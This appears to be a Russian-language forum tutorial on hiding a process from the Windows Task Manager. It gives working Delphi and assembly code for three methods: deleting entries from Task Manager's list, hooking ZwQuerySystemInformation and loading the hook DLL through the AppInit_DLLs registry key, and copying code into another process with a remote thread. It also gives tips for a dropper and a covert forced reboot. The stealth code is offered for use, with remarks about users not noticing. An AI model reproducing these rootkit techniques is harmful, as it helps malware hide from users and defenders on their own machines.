В общем как я говорил «завтра», но это вообще не завтра, а
неизвестно когда, но вот сегодня выходит)))
Я не обнаружил совокупность методов сокрытия от ДЗ на уровне
ring-3, поэтому решил сам все в кучу собрать. Итак
речь пойдет о сокрытии из ДЗ windows.
инструменты:
1)ЯП (я использую ассемблер, делфи)
больше ничего.
Итак я знаю 3 метода сокрытия от ДЗ в ring3
1)Хак самого диспетчера задач(работа с его syslistview32)
2)Сокрытие путем перехвата функции ZwQuerySystemInformation
3)Инжект в процесс.
Так пожалуй начнем
по порядку.
Хак диспетчера задач
Суть этого метода:
Каждый определенный интервал времени искать окно диспетчера
задач.
При нахождении:
1)получить кол-во пунктов в listview
2)получить идентификатор потока(тот что создал этот лист)
3)открыть процесс который связан с этим идентификатором с
определенными правами
4)выделить память в его про-ве.
5)перебирать все записи удаляя нашу программу.
переходим к кодесу:
program
Project1;
{$APPTYPE
CONSOLE}
uses
Windows,CommCtrl;
var
msg:TMSG;
procedure
hide(TMlst:hwnd);
var
items,i:
Integer;
buf:
array[0..255] of Char;
PId: DWORD;
Process:
THandle;
Point:
Pointer;
NOBR:
Cardinal;
Item:
TLVItem;
S: String;
begin
items :=
SendMessage(TMlst, LVM_GETITEMCOUNT, 0, 0); // получаем кол-во пунктов в
листе
GetWindowThreadProcessId(TMlst, @PId); // получаем идентификатор потока
который создал лист
Process :=
OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_READ or PROCESS_VM_WRITE, False,
PId); // открываем процесс с
правами
Point :=
VirtualAllocEx(Process, nil, 4096, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);
//выделяем память в
про-ве процесса
for I := 0
to items - 1 do // перебираем все записи
begin
item.mask
:= LVIF_TEXT;
item.iItem
:= I;
item.iSubItem := 0; // начиная с
первого столбца
item.cchTextMax
:= SizeOf(buf);
item.pszText
:= Pointer(Cardinal(Point) + SizeOf(TLVItem)); // тут рез-тат
WriteProcessMemory(Process,
Point, @Item, SizeOf(TLVItem), nobr);
SendMessage(TMlst,
LVM_GETITEM, I, lparam(Point));
ReadProcessMemory(Process,
Pointer(Cardinal(Point) + SizeOf(TLVItem)), @buf[0], SizeOf(buf), nobr); // читаем рез-ат
S := buf;
if (S = 'Project2.exe') // определяем какой итем затирать
then
SendMessage(TMlst, LVM_DELETEITEM, i, 0);
end;
VirtualFreeEx(Process,
Point, 0, MEM_RELEASE); // чистим за собой
CloseHandle(Process)
end;
procedure
SearchTM;
var
TM, Lstv:
HWND;
begin
TM :=
FindWindow('#32770', nil); // класс
окна
if TM = 0
then exit;
Lstv :=
FindWindowEx(TM, 0, '#32770', nil); // первый список
Lstv :=
FindWindowEx(lstv, 0, 'SysListView32', nil); //список «процессы»
if lstv
<> 0 then hide(lstv);
// если нашли то скрываем(удаляем)
end;
procedure timerproc;
// процедура таймера, без комментариев
begin
searchtm;
end;
procedure
goTimer(Interval:integer);
begin
asm
push offset
TimerProc
push
interval
push 0
push 0
call
SetTimer
end;
end;
begin
goTimer(1);
// тут понятно,запускаем таймер с минимальным интервалом
while
(GetMessage(Msg,0,0,0)) Do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
На этом с первым методом покончено.тут думаю никаких
сложностей, алгоритм предоставлен, важные участки кода откоментированны.
2)Метод хорошо описан на васме. Операции выносятся в
отдельную длл, я приведу пример dll не
той что инжектится удаленными потоками, как писать такие перехваты я описывал в
одной из своих статей.
Здесь будет речь идти о внедрении через реестр, так
называемый метод AppInit_DLLs.
Метод, наверное, один из самых элементарных и заключается в модификации некоего ключа в
реестре, и все библиотеки указанные в этом ключе загружаются в адресное про-во
приложений использующих user32.dll, а это 99% приложений.
Все АПИ получения списка процессов обращаются к ZwQuerySystemInformation
Эта функция может возвращать различные классы информации,
каждый из которых определен своей структурой. Вот список классов возвращаемых функцией:
const //
SYSTEM_INFORMATION_CLASS
SystemBasicInformation = 0;
SystemProcessorInformation = 1;
SystemPerformanceInformation = 2;
SystemTimeOfDayInformation = 3;
SystemNotImplemented1 = 4;
SystemProcessesAndThreadsInformation = 5;
SystemCallCounts = 6;
SystemConfigurationInformation = 7;
SystemProcessorTimes = 8;
SystemGlobalFlag = 9;
SystemNotImplemented2 = 10;
SystemModuleInformation = 11;
SystemLockInformation = 12;
SystemNotImplemented3 = 13;
SystemNotImplemented4 = 14;
SystemNotImplemented5 = 15;
SystemHandleInformation = 16;
SystemObjectInformation = 17;
SystemPagefileInformation = 18;
SystemInstructionEmulationCounts = 19;
SystemInvalidInfoClass = 20;
SystemCacheInformation = 21;
SystemPoolTagInformation = 22;
SystemProcessorStatistics = 23;
SystemDpcInformation = 24;
SystemNotImplemented6 = 25;
SystemLoadImage = 26;
SystemUnloadImage = 27;
SystemTimeAdjustment = 28;
SystemNotImplemented7 = 29;
SystemNotImplemented8 = 30;
SystemNotImplemented9 = 31;
SystemCrashDumpInformation = 32;
SystemExceptionInformation = 33;
SystemCrashDumpStateInformation = 34;
SystemKernelDebuggerInformation = 35;
SystemContextSwitchInformation = 36;
SystemRegistryQuotaInformation = 37;
SystemLoadAndCallImage = 38;
SystemPrioritySeparation = 39;
SystemNotImplemented10 = 40;
SystemNotImplemented11 = 41;
SystemInvalidInfoClass2 = 42;
SystemInvalidInfoClass3 = 43;
SystemTimeZoneInformation = 44;
SystemLookasideInformation = 45;
SystemSetTimeSlipEvent = 46;
SystemCreateSession = 47;
SystemDeleteSession = 48;
SystemInvalidInfoClass4 = 49;
SystemRangeStartInformation = 50;
SystemVerifierInformation = 51;
SystemAddVerifier
= 52;
SystemSessionProcessesInformation
= 53;
для скрытия процесса, необходимо сравнить имя каждого
возвращаемого процесса и имя которое
надо скрыть. Первую запись обычно не трогаем, т.к. это процесс «система».
нам нужно просто сдвигать структуры следующие «за» ней, на
размер предыдущей записи.
Код:
function
NewQuerySystemInformation(SystemInformationClass: DWORD; SystemInformation:
Pointer;
SystemInformationLength: DWORD;
ReturnLength:PCardinal): NTStatus; stdcall;
var
SP,
back:PSYSTEM_PROCESSES;
begin
UnSetCodeHook(@Jumper);
Result :=
ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
SetCodeHook(Jumper.Address,
@NewQuerySystemInformation, @Jumper);
if
SystemInformationClass <> 5 then exit;
if Result
<> STATUS_SUCCESS then exit;
ZeroMemory(@back,
SizeOf(back));
SP :=
SystemInformation;
repeat
if SP^.ProcessName.Buffer = 'name.exe' then
back^.NextEntryDelta := back^.NextEntryDelta
+ SP^.NextEntryDelta;
back := SP;
SP := pointer(dword(SP) + SP^.NextEntryDelta);
until SP^.NextEntryDelta = 0;
end;
========================================================================
type
PFunctionRestoreData
= ^ TFunctionRestoreData;
TFunctionRestoreData
= packed record
Address: Pointer;
val1: Byte;
val2: DWORD;
end;
function UnSetCodeHook(RestoreDATA:
PFunctionRestoreData): Boolean; stdcall;
function SetProcedureHook(ModuleHandle:
HMODULE; ProcedureName: PChar;
NewProcedureAddress: Pointer; RestoreDATA:
PFunctionRestoreData): Boolean; stdcall;
function SetCodeHook(ProcAddress,
NewProcAddress: Pointer;
RestoreDATA: PFunctionRestoreData):
Boolean; stdcall;
implementation
function
UnSetCodeHook(RestoreDATA: PFunctionRestoreData):Boolean;
var
ProcAddress:
Pointer;
OldProtect:
DWORD;
begin
Result :=
False;
ProcAddress
:= RestoreDATA^.Address;
if not
VirtualProtect(ProcAddress, 5, PAGE_EXECUTE_READWRITE, OldProtect) then exit;
Byte(ProcAddress^)
:= RestoreDATA^.val1;
DWORD(Pointer(DWORD(ProcAddress)
+ 1)^) := RestoreDATA^.val2;
Result :=
VirtualProtect(ProcAddress, 5, OldProtect, OldProtect);
end;
function
SetCodeHook(ProcAddress, NewProcAddress: pointer;
RestoreDATA:PFunctionRestoreData):boolean;
var
OldProtect,
JMPValue:DWORD;
begin
Result :=
False;
if not
VirtualProtect(ProcAddress, 5, PAGE_EXECUTE_READWRITE, OldProtect) then exit;
JMPValue :=
DWORD(NewProcAddress) - DWORD(ProcAddress) - 5;
RestoreDATA^.val1
:= Byte(ProcAddress^);
RestoreDATA^.val2
:= DWORD(Pointer(DWORD(ProcAddress)+1)^);
RestoreDATA^.Address
:= ProcAddress;
Byte(ProcAddress^)
:= $E9;
DWORD(Pointer(DWORD(ProcAddress)
+ 1)^) := JMPValue;
Result :=
VirtualProtect(ProcAddress, 5, OldProtect, OldProtect);
end;
function
SetProcedureHook(ModuleHandle:HMODULE;ProcedureName:PChar;NewProcedureAddress:Pointer;
RestoreDATA: PFunctionRestoreData):Boolean;
var
ProcAddress:Pointer;
begin
ProcAddress
:= GetProcAddress(ModuleHandle, ProcedureName);
Result :=
SetCodeHook(ProcAddress, NewProcedureAddress, RestoreDATA);
end;
в общем все это не имеет смысла объяснять так как на васме
все очень хорошо и толково расписано, я лишь привел немного другой код, который
инжектится через реестр.доделать инжектор удаленными потоками- 20-30 минут
работы, а то гляди и меньше.
ключ этот находится тут
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Windows\AppInit_DLLs
В этом параметре может хранится список из нескольких DLL,
разделённых пробелом или запятой. Так как пробел здесь является разделителем, в
именах файлов не должно быть пробелов. Если DLL лежит в системном каталоге
Windows (например, C:\Windows\System32), то достаточно указать только имя
файла. Вы также можете указать полный путь до библиотеки, но учтите, что
система принимает во внимание путь только первой DLL из списка, остальные пути
она игнорирует. Поэтому лучше всего копировать все библиотеки, которые вы
хотите внедрить, в системную папку и указывать в списке только имена файлов.
в целом алгоритм в том что бы нести dll в ресурсах
(а-ля дропер) и выгружать.
У метода есть несколько минусов:
для инжекта необходим ребут: как сделать форсированный
ребут:
получить привелегии SE_SHUTDOWN_NAME
вызвать ф-ю InitiateSystemShutdownExA
с параметрами:
(NULL,
Message, Timeout, 1, 1, SHTDN_REASON_MAJOR_APPLICATION or SHTDN_REASON_MINOR_INSTALLATION or SHTDN_REASON_FLAG_PLANNED)
1-сек и мгновенный ребут, никто ничего даже не поймет ;)
второй минус: dll будет напостой висеть в памяти, что конечно в своем роде «по
быдляцки» ))
пара плюсов:
метод не слишком палевный если не делать ребут
самостоятельно, рано или поздно (если речь о стационаре) комп вырубят.
и еще т.к. библиотека грузится во ВСЕ процессы ее невозможно
удалить из списка.
Вот и все по второму методу.
3)Метод- инжект. смысл в том что мы инжектируем код (не библиотеку)
и этот код в выделенном пр-ве выполняет нужные нам действия. Хорошо тем что не
требует dll на борту, можно заинжектиться в доверенный процесс (с
получением соотв. привелегий) и дальше догадайтесь что).
.386
.model
flat, stdcall
option
casemap :none
include
include\windows.inc
include
include\kernel32.inc
include
include\user32.inc
includelib
lib\kernel32.lib
includelib
lib\user32.lib
.data
name db
'notepad.exe',0
Msg db
'Injected!',0
Cap db
'Injected!',0
.data?
SInfo
STARTUPINFO <>
PInfo PROCESS_INFORMATION
<>
hModule
dword ?
dwSize
dword ?
.code
Thread proc
invoke
MessageBox, 0, addr Msg, addr Cap, 0
invoke
ExitProcess, 0
Thread endp
start:
invoke
GetModuleHandle, 0 ; хэндл нашего модуля
mov
hModule, eax
mov edi,
eax
assume
edi:ptr IMAGE_DOS_HEADER ; заставим
компилятор думать что
бы в этом регистре был
адрес структуры IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
; что бы добраться до заголовка ПЕ надо значение из e_lfanew DOS
заголовка
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER ; адрес опционального заголовка
assume
edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax,
[edi].SizeOfImage
mov dwSize,
eax
assume
edi:NOTHING
invoke
CreateProcess,0,addr name,0,0,FALSE,CREATE_SUSPENDED,0,0,addr SInfo,addr
PInfo ; создаем процесс
invoke VirtualAllocEx,
PInfo.hProcess, hModule, dwSize, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE ;выделяем память
invoke
WriteProcessMemory, PInfo.hProcess, eax, hModule, dwSize, NULL ; туда копируемся
invoke
CreateRemoteThread, PInfo.hProcess, 0, 0, addr Thread, 0, 0, NULL ; оттуда пускаем удаленный поток
invoke ExitProcess, 0
end start
Опять же алгоритм и комментарии… инжектится в блокнот если
тот запущен и выдаем сообщение, процесса нет))).
я тут не расписывал включение привилегий отладчика и
внедрения в доверенный процесс, все это я уже описывал или описывал кто то еще.
так что вот в целом что удалось накопать и рассказать,
спасибо за внимание мне было очень трудно перебороть лень и че то запостить ;)